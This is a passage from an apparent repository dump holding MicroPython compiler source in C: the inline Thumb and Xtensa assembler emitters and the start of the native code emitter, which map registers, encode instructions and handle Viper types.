src_b);\n        } else if (ARMV7M && op == MP_QSTR_sdiv) {\n            op_code = 0xfb90; // sdiv high part\n            mp_uint_t rd, rn, rm;\n            op_sdiv_udiv:\n            rd = get_arg_reg(emit, op_str, pn_args[0], 15);\n            rn = get_arg_reg(emit, op_str, pn_args[1], 15);\n            rm = get_arg_reg(emit, op_str, pn_args[2], 15);\n            asm_thumb_op32(&emit->as, op_code | rn, 0xf0f0 | (rd << 8) | rm);\n        } else if (ARMV7M && op == MP_QSTR_udiv) {\n            op_code = 0xfbb0; // udiv high part\n            goto op_sdiv_udiv;\n        } else if (op == MP_QSTR_sub) {\n            op_code = ASM_THUMB_FORMAT_2_SUB;\n            goto op_format_2;\n        } else if (ARMV7M && op == MP_QSTR_strex) {\n            mp_uint_t r_dest = get_arg_reg(emit, op_str, pn_args[0], 15);\n            mp_uint_t r_src = get_arg_reg(emit, op_str, pn_args[1], 15);\n            mp_parse_node_t pn_base, pn_offset;\n            if (get_arg_addr(emit, op_str, pn_args[2], &pn_base, &pn_offset)) {\n                mp_uint_t r_base = get_arg_reg(emit, op_str, pn_base, 15);\n                mp_uint_t i8 = get_arg_i(emit, op_str, pn_offset, 0xff) >> 2;\n                asm_thumb_op32(&emit->as, 0xe840 | r_base, (r_src << 12) | (r_dest << 8) | i8);\n            }\n        } else {\n            goto unknown_op;\n        }\n\n    } else {\n        goto unknown_op;\n    }\n\n    return;\n\nunknown_op:\n    emit_inline_thumb_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, \"unsupported Thumb instruction '%s' with %d arguments\", op_str, n_args));\n    return;\n\nbranch_not_in_range:\n    emit_inline_thumb_error_msg(emit, \"branch not in range\");\n    return;\n}\n\nconst emit_inline_asm_method_table_t emit_inline_thumb_method_table = {\n    emit_inline_thumb_start_pass,\n    emit_inline_thumb_end_pass,\n    emit_inline_thumb_count_params,\n    emit_inline_thumb_label,\n    emit_inline_thumb_op,\n};\n\n#endif // MICROPY_EMIT_INLINE_THUMB\n"
  },
  {
    "path": "micropython/source/py/emitinlinextensa.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2016 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdint.h>\n#include <stdio.h>\n#include <string.h>\n#include <stdarg.h>\n#include <assert.h>\n\n#include \"py/emit.h\"\n#include \"py/asmxtensa.h\"\n\n#if MICROPY_EMIT_INLINE_XTENSA\n\nstruct _emit_inline_asm_t {\n    asm_xtensa_t as;\n    uint16_t pass;\n    mp_obj_t *error_slot;\n    mp_uint_t max_num_labels;\n    qstr *label_lookup;\n};\n\nSTATIC void emit_inline_xtensa_error_msg(emit_inline_asm_t *emit, const char *msg) {\n    *emit->error_slot = mp_obj_new_exception_msg(&mp_type_SyntaxError, msg);\n}\n\nSTATIC void emit_inline_xtensa_error_exc(emit_inline_asm_t *emit, mp_obj_t exc) {\n    *emit->error_slot = exc;\n}\n\nemit_inline_asm_t *emit_inline_xtensa_new(mp_uint_t max_num_labels) {\n    emit_inline_asm_t *emit = m_new_obj(emit_inline_asm_t);\n    memset(&emit->as, 0, sizeof(emit->as));\n    mp_asm_base_init(&emit->as.base, max_num_labels);\n    emit->max_num_labels = max_num_labels;\n    emit->label_lookup = m_new(qstr, max_num_labels);\n    return emit;\n}\n\nvoid emit_inline_xtensa_free(emit_inline_asm_t *emit) {\n    m_del(qstr, emit->label_lookup, emit->max_num_labels);\n    mp_asm_base_deinit(&emit->as.base, false);\n    m_del_obj(emit_inline_asm_t, emit);\n}\n\nSTATIC void emit_inline_xtensa_start_pass(emit_inline_asm_t *emit, pass_kind_t pass, mp_obj_t *error_slot) {\n    emit->pass = pass;\n    emit->error_slot = error_slot;\n    if (emit->pass == MP_PASS_CODE_SIZE) {\n        memset(emit->label_lookup, 0, emit->max_num_labels * sizeof(qstr));\n    }\n    mp_asm_base_start_pass(&emit->as.base, pass == MP_PASS_EMIT ? MP_ASM_PASS_EMIT : MP_ASM_PASS_COMPUTE);\n    asm_xtensa_entry(&emit->as, 0);\n}\n\nSTATIC void emit_inline_xtensa_end_pass(emit_inline_asm_t *emit, mp_uint_t type_sig) {\n    asm_xtensa_exit(&emit->as);\n    asm_xtensa_end_pass(&emit->as);\n}\n\nSTATIC mp_uint_t emit_inline_xtensa_count_params(emit_inline_asm_t *emit, mp_uint_t n_params, mp_parse_node_t *pn_params) {\n    if (n_params > 4) {\n        emit_inline_xtensa_error_msg(emit, \"can only have up to 4 parameters to Xtensa assembly\");\n        return 0;\n    }\n    for (mp_uint_t i = 0; i < n_params; i++) {\n        if (!MP_PARSE_NODE_IS_ID(pn_params[i])) {\n            emit_inline_xtensa_error_msg(emit, \"parameters must be registers in sequence a2 to a5\");\n            return 0;\n        }\n        const char *p = qstr_str(MP_PARSE_NODE_LEAF_ARG(pn_params[i]));\n        if (!(strlen(p) == 2 && p[0] == 'a' && p[1] == '2' + i)) {\n            emit_inline_xtensa_error_msg(emit, \"parameters must be registers in sequence a2 to a5\");\n            return 0;\n        }\n    }\n    return n_params;\n}\n\nSTATIC bool emit_inline_xtensa_label(emit_inline_asm_t *emit, mp_uint_t label_num, qstr label_id) {\n    assert(label_num < emit->max_num_labels);\n    if (emit->pass == MP_PASS_CODE_SIZE) {\n        // check for duplicate label on first pass\n        for (uint i = 0; i < emit->max_num_labels; i++) {\n            if (emit->label_lookup[i] == label_id) {\n                return false;\n            }\n        }\n    }\n    emit->label_lookup[label_num] = label_id;\n    mp_asm_base_label_assign(&emit->as.base, label_num);\n    return true;\n}\n\ntypedef struct _reg_name_t { byte reg; byte name[3]; } reg_name_t;\nSTATIC const reg_name_t reg_name_table[] = {\n    {0, \"a0\\0\"},\n    {1, \"a1\\0\"},\n    {2, \"a2\\0\"},\n    {3, \"a3\\0\"},\n    {4, \"a4\\0\"},\n    {5, \"a5\\0\"},\n    {6, \"a6\\0\"},\n    {7, \"a7\\0\"},\n    {8, \"a8\\0\"},\n    {9, \"a9\\0\"},\n    {10, \"a10\"},\n    {11, \"a11\"},\n    {12, \"a12\"},\n    {13, \"a13\"},\n    {14, \"a14\"},\n    {15, \"a15\"},\n};\n\n// return empty string in case of error, so we can attempt to parse the string\n// without a special check if it was in fact a string\nSTATIC const char *get_arg_str(mp_parse_node_t pn) {\n    if (MP_PARSE_NODE_IS_ID(pn)) {\n        qstr qst = MP_PARSE_NODE_LEAF_ARG(pn);\n        return qstr_str(qst);\n    } else {\n        return \"\";\n    }\n}\n\nSTATIC mp_uint_t get_arg_reg(emit_inline_asm_t *emit, const char *op, mp_parse_node_t pn) {\n    const char *reg_str = get_arg_str(pn);\n    for (mp_uint_t i = 0; i < MP_ARRAY_SIZE(reg_name_table); i++) {\n        const reg_name_t *r = &reg_name_table[i];\n        if (reg_str[0] == r->name[0]\n            && reg_str[1] == r->name[1]\n            && reg_str[2] == r->name[2]\n            && (reg_str[2] == '\\0' || reg_str[3] == '\\0')) {\n            return r->reg;\n        }\n    }\n    emit_inline_xtensa_error_exc(emit,\n        mp_obj_new_exception_msg_varg(&mp_type_SyntaxError,\n            \"'%s' expects a register\", op));\n    return 0;\n}\n\nSTATIC uint32_t get_arg_i(emit_inline_asm_t *emit, const char *op, mp_parse_node_t pn, int min, int max) {\n    mp_obj_t o;\n    if (!mp_parse_node_get_int_maybe(pn, &o)) {\n        emit_inline_xtensa_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, \"'%s' expects an integer\", op));\n        return 0;\n    }\n    uint32_t i = mp_obj_get_int_truncated(o);\n    if (min != max && ((int)i < min || (int)i > max)) {\n        emit_inline_xtensa_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, \"'%s' integer %d is not within range %d..%d\", op, i, min, max));\n        return 0;\n    }\n    return i;\n}\n\nSTATIC int get_arg_label(emit_inline_asm_t *emit, const char *op, mp_parse_node_t pn) {\n    if (!MP_PARSE_NODE_IS_ID(pn)) {\n        emit_inline_xtensa_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, \"'%s' expects a label\", op));\n        return 0;\n    }\n    qstr label_qstr = MP_PARSE_NODE_LEAF_ARG(pn);\n    for (uint i = 0; i < emit->max_num_labels; i++) {\n        if (emit->label_lookup[i] == label_qstr) {\n            return i;\n        }\n    }\n    // only need to have the labels on the last pass\n    if (emit->pass == MP_PASS_EMIT) {\n        emit_inline_xtensa_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, \"label '%q' not defined\", label_qstr));\n    }\n    return 0;\n}\n\n#define RRR (0)\n#define RRI8 (1)\n#define RRI8_B (2)\n\ntypedef struct _opcode_table_3arg_t {\n    uint16_t name; // actually a qstr, which should fit in 16 bits\n    uint8_t type;\n    uint8_t a0 : 4;\n    uint8_t a1 : 4;\n} opcode_table_3arg_t;\n\nSTATIC const opcode_table_3arg_t opcode_table_3arg[] = {\n    // arithmetic opcodes: reg, reg, reg\n    {MP_QSTR_and_, RRR, 0, 1},\n    {MP_QSTR_or_, RRR, 0, 2},\n    {MP_QSTR_xor, RRR, 0, 3},\n    {MP_QSTR_add, RRR, 0, 8},\n    {MP_QSTR_sub, RRR, 0, 12},\n    {MP_QSTR_mull, RRR, 2, 8},\n\n    // load/store/addi opcodes: reg, reg, imm\n    // upper nibble of type encodes the range of the immediate arg\n    {MP_QSTR_l8ui, RRI8 | 0x10, 2, 0},\n    {MP_QSTR_l16ui, RRI8 | 0x30, 2, 1},\n    {MP_QSTR_l32i, RRI8 | 0x50, 2, 2},\n    {MP_QSTR_s8i, RRI8 | 0x10, 2, 4},\n    {MP_QSTR_s16i, RRI8 | 0x30, 2, 5},\n    {MP_QSTR_s32i, RRI8 | 0x50, 2, 6},\n    {MP_QSTR_l16si, RRI8 | 0x30, 2, 9},\n    {MP_QSTR_addi, RRI8 | 0x00, 2, 12},\n\n    // branch opcodes: reg, reg, label\n    {MP_QSTR_ball, RRI8_B, ASM_XTENSA_CC_ALL, 0},\n    {MP_QSTR_bany, RRI8_B, ASM_XTENSA_CC_ANY, 0},\n    {MP_QSTR_bbc, RRI8_B, ASM_XTENSA_CC_BC, 0},\n    {MP_QSTR_bbs, RRI8_B, ASM_XTENSA_CC_BS, 0},\n    {MP_QSTR_beq, RRI8_B, ASM_XTENSA_CC_EQ, 0},\n    {MP_QSTR_bge, RRI8_B, ASM_XTENSA_CC_GE, 0},\n    {MP_QSTR_bgeu, RRI8_B, ASM_XTENSA_CC_GEU, 0},\n    {MP_QSTR_blt, RRI8_B, ASM_XTENSA_CC_LT, 0},\n    {MP_QSTR_bnall, RRI8_B, ASM_XTENSA_CC_NALL, 0},\n    {MP_QSTR_bne, RRI8_B, ASM_XTENSA_CC_NE, 0},\n    {MP_QSTR_bnone, RRI8_B, ASM_XTENSA_CC_NONE, 0},\n};\n\nSTATIC void emit_inline_xtensa_op(emit_inline_asm_t *emit, qstr op, mp_uint_t n_args, mp_parse_node_t *pn_args) {\n    size_t op_len;\n    const char *op_str = (const char*)qstr_data(op, &op_len);\n\n    if (n_args == 0) {\n        if (op == MP_QSTR_ret_n) {\n            asm_xtensa_op_ret_n(&emit->as);\n        } else {\n            goto unknown_op;\n        }\n\n    } else if (n_args == 1) {\n        if (op == MP_QSTR_callx0) {\n            uint r0 = get_arg_reg(emit, op_str, pn_args[0]);\n            asm_xtensa_op_callx0(&emit->as, r0);\n        } else if (op == MP_QSTR_j) {\n            int label = get_arg_label(emit, op_str, pn_args[0]);\n            asm_xtensa_j_label(&emit->as, label);\n        } else if (op == MP_QSTR_jx) {\n            uint r0 = get_arg_reg(emit, op_str, pn_args[0]);\n            asm_xtensa_op_jx(&emit->as, r0);\n        } else {\n            goto unknown_op;\n        }\n\n    } else if (n_args == 2) {\n        uint r0 = get_arg_reg(emit, op_str, pn_args[0]);\n        if (op == MP_QSTR_beqz) {\n            int label = get_arg_label(emit, op_str, pn_args[1]);\n            asm_xtensa_bccz_reg_label(&emit->as, ASM_XTENSA_CCZ_EQ, r0, label);\n        } else if (op == MP_QSTR_bnez) {\n            int label = get_arg_label(emit, op_str, pn_args[1]);\n            asm_xtensa_bccz_reg_label(&emit->as, ASM_XTENSA_CCZ_NE, r0, label);\n        } else if (op == MP_QSTR_mov || op == MP_QSTR_mov_n) {\n            // we emit mov.n for both \"mov\" and \"mov_n\" opcodes\n            uint r1 = get_arg_reg(emit, op_str, pn_args[1]);\n            asm_xtensa_op_mov_n(&emit->as, r0, r1);\n        } else if (op == MP_QSTR_movi) {\n            // for convenience we emit l32r if the integer doesn't fit in movi\n            uint32_t imm = get_arg_i(emit, op_str, pn_args[1], 0, 0);\n            asm_xtensa_mov_reg_i32(&emit->as, r0, imm);\n        } else {\n            goto unknown_op;\n        }\n\n    } else if (n_args == 3) {\n        // search table for 3 arg instructions\n        for (uint i = 0; i < MP_ARRAY_SIZE(opcode_table_3arg); i++) {\n            const opcode_table_3arg_t *o = &opcode_table_3arg[i];\n            if (op == o->name) {\n                uint r0 = get_arg_reg(emit, op_str, pn_args[0]);\n                uint r1 = get_arg_reg(emit, op_str, pn_args[1]);\n                if (o->type == RRR) {\n                    uint r2 = get_arg_reg(emit, op_str, pn_args[2]);\n                    asm_xtensa_op24(&emit->as, ASM_XTENSA_ENCODE_RRR(0, o->a0, o->a1, r0, r1, r2));\n                } else if (o->type == RRI8_B) {\n                    int label = get_arg_label(emit, op_str, pn_args[2]);\n                    asm_xtensa_bcc_reg_reg_label(&emit->as, o->a0, r0, r1, label);\n                } else {\n                    int shift, min, max;\n                    if ((o->type & 0xf0) == 0) {\n                        shift = 0;\n                        min = -128;\n                        max = 127;\n                    } else {\n                        shift = (o->type & 0xf0) >> 5;\n                        min = 0;\n                        max = 0xff << shift;\n                    }\n                    uint32_t imm = get_arg_i(emit, op_str, pn_args[2], min, max);\n                    asm_xtensa_op24(&emit->as, ASM_XTENSA_ENCODE_RRI8(o->a0, o->a1, r1, r0, (imm >> shift) & 0xff));\n                }\n                return;\n            }\n        }\n        goto unknown_op;\n\n    } else {\n        goto unknown_op;\n    }\n\n    return;\n\nunknown_op:\n    emit_inline_xtensa_error_exc(emit, mp_obj_new_exception_msg_varg(&mp_type_SyntaxError, \"unsupported Xtensa instruction '%s' with %d arguments\", op_str, n_args));\n    return;\n\n    /*\nbranch_not_in_range:\n    emit_inline_xtensa_error_msg(emit, \"branch not in range\");\n    return;\n    */\n}\n\nconst emit_inline_asm_method_table_t emit_inline_xtensa_method_table = {\n    emit_inline_xtensa_start_pass,\n    emit_inline_xtensa_end_pass,\n    emit_inline_xtensa_count_params,\n    emit_inline_xtensa_label,\n    emit_inline_xtensa_op,\n};\n\n#endif // MICROPY_EMIT_INLINE_XTENSA\n"
  },
  {
    "path": "micropython/source/py/emitnative.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n// Essentially normal Python has 1 type: Python objects\n// Viper has more than 1 type, and is just a more complicated (a superset of) Python.\n// If you declare everything in Viper as a Python object (ie omit type decls) then\n// it should in principle be exactly the same as Python native.\n// Having types means having more opcodes, like binary_op_nat_nat, binary_op_nat_obj etc.\n// In practice we won't have a VM but rather do this in asm which is actually very minimal.\n\n// Because it breaks strict Python equivalence it should be a completely separate\n// decorator.  It breaks equivalence because overflow on integers wraps around.\n// It shouldn't break equivalence if you don't use the new types, but since the\n// type decls might be used in normal Python for other reasons, it's probably safest,\n// cleanest and clearest to make it a separate decorator.\n\n// Actually, it does break equivalence because integers default to native integers,\n// not Python objects.\n\n// for x in l[0:8]: can be compiled into a native loop if l has pointer type\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/emit.h\"\n#include \"py/bc.h\"\n\n#if MICROPY_DEBUG_VERBOSE // print debugging info\n#define DEBUG_PRINT (1)\n#define DEBUG_printf DEBUG_printf\n#else // don't print debugging info\n#define DEBUG_printf(...) (void)0\n#endif\n\n// wrapper around everything in this file\n#if (MICROPY_EMIT_X64 && N_X64) \\\n    || (MICROPY_EMIT_X86 && N_X86) \\\n    || (MICROPY_EMIT_THUMB && N_THUMB) \\\n    || (MICROPY_EMIT_ARM && N_ARM) \\\n    || (MICROPY_EMIT_XTENSA && N_XTENSA) \\\n\n// this is defined so that the assembler exports generic assembler API macros\n#define GENERIC_ASM_API (1)\n\n#if N_X64\n\n// x64 specific stuff\n#include \"py/asmx64.h\"\n#define EXPORT_FUN(name) emit_native_x64_##name\n\n#elif N_X86\n\n// x86 specific stuff\n\nSTATIC byte mp_f_n_args[MP_F_NUMBER_OF] = {\n    [MP_F_CONVERT_OBJ_TO_NATIVE] = 2,\n    [MP_F_CONVERT_NATIVE_TO_OBJ] = 2,\n    [MP_F_LOAD_NAME] = 1,\n    [MP_F_LOAD_GLOBAL] = 1,\n    [MP_F_LOAD_BUILD_CLASS] = 0,\n    [MP_F_LOAD_ATTR] = 2,\n    [MP_F_LOAD_METHOD] = 3,\n    [MP_F_LOAD_SUPER_METHOD] = 2,\n    [MP_F_STORE_NAME] = 2,\n    [MP_F_STORE_GLOBAL] = 2,\n    [MP_F_STORE_ATTR] = 3,\n    [MP_F_OBJ_SUBSCR] = 3,\n    [MP_F_OBJ_IS_TRUE] = 1,\n    [MP_F_UNARY_OP] = 2,\n    [MP_F_BINARY_OP] = 3,\n    [MP_F_BUILD_TUPLE] = 2,\n    [MP_F_BUILD_LIST] = 2,\n    [MP_F_LIST_APPEND] = 2,\n    [MP_F_BUILD_MAP] = 1,\n    [MP_F_STORE_MAP] = 3,\n#if MICROPY_PY_BUILTINS_SET\n    [MP_F_BUILD_SET] = 2,\n    [MP_F_STORE_SET] = 2,\n#endif\n    [MP_F_MAKE_FUNCTION_FROM_RAW_CODE] = 3,\n    [MP_F_NATIVE_CALL_FUNCTION_N_KW] = 3,\n    [MP_F_CALL_METHOD_N_KW] = 3,\n    [MP_F_CALL_METHOD_N_KW_VAR] = 3,\n    [MP_F_NATIVE_GETITER] = 2,\n    [MP_F_NATIVE_ITERNEXT] = 1,\n    [MP_F_NLR_PUSH] = 1,\n    [MP_F_NLR_POP] = 0,\n    [MP_F_NATIVE_RAISE] = 1,\n    [MP_F_IMPORT_NAME] = 3,\n    [MP_F_IMPORT_FROM] = 2,\n    [MP_F_IMPORT_ALL] = 1,\n#if MICROPY_PY_BUILTINS_SLICE\n    [MP_F_NEW_SLICE] = 3,\n#endif\n    [MP_F_UNPACK_SEQUENCE] = 3,\n    [MP_F_UNPACK_EX] = 3,\n    [MP_F_DELETE_NAME] = 1,\n    [MP_F_DELETE_GLOBAL] = 1,\n    [MP_F_NEW_CELL] = 1,\n    [MP_F_MAKE_CLOSURE_FROM_RAW_CODE] = 3,\n    [MP_F_SETUP_CODE_STATE] = 5,\n};\n\n#include \"py/asmx86.h\"\n#define EXPORT_FUN(name) emit_native_x86_##name\n\n#elif N_THUMB\n\n// thumb specific stuff\n#include \"py/asmthumb.h\"\n#define EXPORT_FUN(name) emit_native_thumb_##name\n\n#elif N_ARM\n\n// ARM specific stuff\n#include \"py/asmarm.h\"\n#define EXPORT_FUN(name) emit_native_arm_##name\n\n#elif N_XTENSA\n\n// Xtensa specific stuff\n#include \"py/asmxtensa.h\"\n#define EXPORT_FUN(name) emit_native_xtensa_##name\n\n#else\n\n#error unknown native emitter\n\n#endif\n\n#define EMIT_NATIVE_VIPER_TYPE_ERROR(emit, ...) do { \\\n        *emit->error_slot = mp_obj_new_exception_msg_varg(&mp_type_ViperTypeError, __VA_ARGS__); \\\n    } while (0)\n\ntypedef enum {\n    STACK_VALUE,\n    STACK_REG,\n    STACK_IMM,\n} stack_info_kind_t;\n\n// these enums must be distinct and the bottom 4 bits\n// must correspond to the correct MP_NATIVE_TYPE_xxx value\ntypedef enum {\n    VTYPE_PYOBJ = 0x00 | MP_NATIVE_TYPE_OBJ,\n    VTYPE_BOOL = 0x00 | MP_NATIVE_TYPE_BOOL,\n    VTYPE_INT = 0x00 | MP_NATIVE_TYPE_INT,\n    VTYPE_UINT = 0x00 | MP_NATIVE_TYPE_UINT,\n    VTYPE_PTR = 0x00 | MP_NATIVE_TYPE_PTR,\n    VTYPE_PTR8 = 0x00 | MP_NATIVE_TYPE_PTR8,\n    VTYPE_PTR16 = 0x00 | MP_NATIVE_TYPE_PTR16,\n    VTYPE_PTR32 = 0x00 | MP_NATIVE_TYPE_PTR32,\n\n    VTYPE_PTR_NONE = 0x50 | MP_NATIVE_TYPE_PTR,\n\n    VTYPE_UNBOUND = 0x60 | MP_NATIVE_TYPE_OBJ,\n    VTYPE_BUILTIN_CAST = 0x70 | MP_NATIVE_TYPE_OBJ,\n} vtype_kind_t;\n\nSTATIC qstr vtype_to_qstr(vtype_kind_t vtype) {\n    switch (vtype) {\n        case VTYPE_PYOBJ: return MP_QSTR_object;\n        case VTYPE_BOOL: return MP_QSTR_bool;\n        case VTYPE_INT: return MP_QSTR_int;\n        case VTYPE_UINT: return MP_QSTR_uint;\n        case VTYPE_PTR: return MP_QSTR_ptr;\n        case VTYPE_PTR8: return MP_QSTR_ptr8;\n        case VTYPE_PTR16: return MP_QSTR_ptr16;\n        case VTYPE_PTR32: return MP_QSTR_ptr32;\n        case VTYPE_PTR_NONE: default: return MP_QSTR_None;\n    }\n}\n\ntypedef struct _stack_info_t {\n    vtype_kind_t vtype;\n    stack_info_kind_t kind;\n    union {\n        int u_reg;\n        mp_int_t u_imm;\n    } data;\n} stack_info_t;\n\nstruct _emit_t {\n    mp_obj_t *error_slot;\n    int pass;\n\n    bool do_viper_types;\n\n    vtype_kind_t return_vtype;\n\n    mp_uint_t local_vtype_alloc;\n    vtype_kind_t *local_vtype;\n\n    mp_uint_t stack_info_alloc;\n    stack_info_t *stack_info;\n    vtype_kind_t saved_stack_vtype;\n\n    int prelude_offset;\n    int const_table_offset;\n    int n_state;\n    int stack_start;\n    int stack_size;\n\n    bool last_emit_was_return_value;\n\n    scope_t *scope;\n\n    ASM_T *as;\n};\n\nemit_t *EXPORT_FUN(new)(mp_obj_t *error_slot, mp_uint_t max_num_labels) {\n    emit_t *emit = m_new0(emit_t, 1);\n    emit->error_slot = error_slot;\n    emit->as = m_new0(ASM_T, 1);\n    mp_asm_base_init(&emit->as->base, max_num_labels);\n    return emit;\n}\n\nvoid EXPORT_FUN(free)(emit_t *emit) {\n    mp_asm_base_deinit(&emit->as->base, false);\n    m_del_obj(ASM_T, emit->as);\n    m_del(vtype_kind_t, emit->local_vtype, emit->local_vtype_alloc);\n    m_del(stack_info_t, emit->stack_info, emit->stack_info_alloc);\n    m_del_obj(emit_t, emit);\n}\n\nSTATIC void emit_native_set_native_type(emit_t *emit, mp_uint_t op, mp_uint_t arg1, qstr arg2) {\n    switch (op) {\n        case MP_EMIT_NATIVE_TYPE_ENABLE:\n            emit->do_viper_types = arg1;\n            break;\n\n        default: {\n            vtype_kind_t type;\n            switch (arg2) {\n                case MP_QSTR_object: type = VTYPE_PYOBJ; break;\n                case MP_QSTR_bool: type = VTYPE_BOOL; break;\n                case MP_QSTR_int: type = VTYPE_INT; break;\n                case MP_QSTR_uint: type = VTYPE_UINT; break;\n                case MP_QSTR_ptr: type = VTYPE_PTR; break;\n                case MP_QSTR_ptr8: type = VTYPE_PTR8; break;\n                case MP_QSTR_ptr16: type = VTYPE_PTR16; break;\n                case MP_QSTR_ptr32: type = VTYPE_PTR32; break;\n                default: EMIT_NATIVE_VIPER_TYPE_ERROR(emit, \"unknown type '%q'\", arg2); return;\n            }\n            if (op == MP_EMIT_NATIVE_TYPE_RETURN) {\n                emit->return_vtype = type;\n            } else {\n                assert(arg1 < emit->local_vtype_alloc);\n                emit->local_vtype[arg1] = type;\n            }\n            break;\n        }\n    }\n}\n\nSTATIC void emit_pre_pop_reg(emit_t *emit, vtype_kind_t *vtype, int reg_dest);\nSTATIC void emit_post_push_reg(emit_t *emit, vtype_kind_t vtype, int reg);\nSTATIC void emit_native_load_fast(emit_t *emit, qstr qst, mp_uint_t local_num);\nSTATIC void emit_native_store_fast(emit_t *emit, qstr qst, mp_uint_t local_num);\n\n#define STATE_START (sizeof(mp_code_state_t) / sizeof(mp_uint_t))\n\nSTATIC void emit_native_start_pass(emit_t *emit, pass_kind_t pass, scope_t *scope) {\n    DEBUG_printf(\"start_pass(pass=%u, scope=%p)\\n\", pass, scope);\n\n    emit->pass = pass;\n    emit->stack_start = 0;\n    emit->stack_size = 0;\n    emit->last_emit_was_return_value = false;\n    emit->scope = scope;\n\n    // allocate memory for keeping track of the types of locals\n    if (emit->local_vtype_alloc < scope->num_locals) {\n        emit->local_vtype = m_renew(vtype_kind_t, emit->local_vtype, emit->local_vtype_alloc, scope->num_locals);\n        emit->local_vtype_alloc = scope->num_locals;\n    }\n\n    // allocate memory for keeping track of the objects on the stack\n    // XXX don't know stack size on entry, and it should be maximum over all scopes\n    // XXX this is such a big hack and really needs to be fixed\n    if (emit->stack_info == NULL) {\n        emit->stack_info_alloc = scope->stack_size + 200;\n        emit->stack_info = m_new(stack_info_t, emit->stack_info_alloc);\n    }\n\n    // set default type for return\n    emit->return_vtype = VTYPE_PYOBJ;\n\n    // set default type for arguments\n    mp_uint_t num_args = emit->scope->num_pos_args + emit->scope->num_kwonly_args;\n    if (scope->scope_flags & MP_SCOPE_FLAG_VARARGS) {\n        num_args += 1;\n    }\n    if (scope->scope_flags & MP_SCOPE_FLAG_VARKEYWORDS) {\n        num_args += 1;\n    }\n    for (mp_uint_t i = 0; i < num_args; i++) {\n        emit->local_vtype[i] = VTYPE_PYOBJ;\n    }\n\n    // local variables begin unbound, and have unknown type\n    for (mp_uint_t i = num_args; i < emit->local_vtype_alloc; i++) {\n        emit->local_vtype[i] = VTYPE_UNBOUND;\n    }\n\n    // values on stack begin unbound\n    for (mp_uint_t i = 0; i < emit->stack_info_alloc; i++) {\n        emit->stack_info[i].kind = STACK_VALUE;\n        emit->stack_info[i].vtype = VTYPE_UNBOUND;\n    }\n\n    mp_asm_base_start_pass(&emit->as->base, pass == MP_PASS_EMIT ? MP_ASM_PASS_EMIT : MP_ASM_PASS_COMPUTE);\n\n    // generate code for entry to function\n\n    if (emit->do_viper_types) {\n\n        // right now we have a restriction of maximum of 4 arguments\n        if (scope->num_pos_args >= 5) {\n            EMIT_NATIVE_VIPER_TYPE_ERROR(emit, \"Viper functions don't currently support more than 4 arguments\");\n            return;\n        }\n\n        // entry to function\n        int num_locals = 0;\n        if (pass > MP_PASS_SCOPE) {\n            num_locals = scope->num_locals - REG_LOCAL_NUM;\n            if (num_locals < 0) {\n                num_locals = 0;\n            }\n            emit->stack_start = num_locals;\n            num_locals += scope->stack_size;\n        }\n        ASM_ENTRY(emit->as, num_locals);\n\n        // TODO don't load r7 if we don't need it\n        #if N_THUMB\n        asm_thumb_mov_reg_i32(emit->as, ASM_THUMB_REG_R7, (mp_uint_t)mp_fun_table);\n        #elif N_ARM\n        asm_arm_mov_reg_i32(emit->as, ASM_ARM_REG_R7, (mp_uint_t)mp_fun_table);\n        #endif\n\n        #if N_X86\n        for (int i = 0; i < scope->num_pos_args; i++) {\n            if (i == 0) {\n                asm_x86_mov_arg_to_r32(emit->as, i, REG_LOCAL_1);\n            } else if (i == 1) {\n                asm_x86_mov_arg_to_r32(emit->as, i, REG_LOCAL_2);\n            } else if (i == 2) {\n                asm_x86_mov_arg_to_r32(emit->as, i, REG_LOCAL_3);\n            } else {\n                asm_x86_mov_arg_to_r32(emit->as, i, REG_TEMP0);\n                asm_x86_mov_r32_to_local(emit->as, REG_TEMP0, i - 